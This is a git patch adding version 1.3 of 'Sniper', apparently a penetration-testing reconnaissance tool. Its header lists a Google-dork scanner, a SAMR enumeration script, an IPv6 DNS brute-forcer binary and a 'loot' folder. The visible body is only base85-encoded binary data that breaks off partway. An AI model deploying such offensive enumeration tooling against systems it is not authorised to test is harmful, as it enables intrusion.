From 1e31520ad04ad8a7223951b8d53a18dc26c79a3c Mon Sep 17 00:00:00 2001 From: 1N3 <1N3@hushmail.com> Date: Sun, 6 Sep 2015 11:45:45 -0400 Subject: [PATCH] Sniper v1.3 by 1N3 @ CrowdShield --- .fuse_hidden00013e8300000004 | Bin 0 -> 26051 bytes .fuse_hidden00013ea800000006 | Bin 0 -> 26161 bytes bin/dnsdict6 | Bin 0 -> 336408 bytes bin/inurlbr.php | 3861 ++++++++++++++++++++++++++++++++++ bin/samrdump.py | 201 ++ install.sh | 14 + loot/README | 0 sniper | 518 +++++ 8 files changed, 4594 insertions(+) create mode 100644 .fuse_hidden00013e8300000004 create mode 100644 .fuse_hidden00013ea800000006 create mode 100644 bin/dnsdict6 create mode 100644 bin/inurlbr.php create mode 100644 bin/samrdump.py create mode 100644 install.sh create mode 100644 loot/README create mode 100644 sniper diff --git a/.fuse_hidden00013e8300000004 b/.fuse_hidden00013e8300000004 new file mode 100644 index 0000000000000000000000000000000000000000..5f0601be6a46c6a0c200ff109959abf3dc712f93 GIT binary patch literal 26051 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 literal 0 HcmV?d00001 diff --git a/bin/dnsdict6 b/bin/dnsdict6 new file mode 100644 index 0000000000000000000000000000000000000000..b7033343bb212182b13cff1a36f21ecf2e00af41 GIT binary patch literal 336408 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

dfs(F7^-P0P?oXa%N0%)cvc5h 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 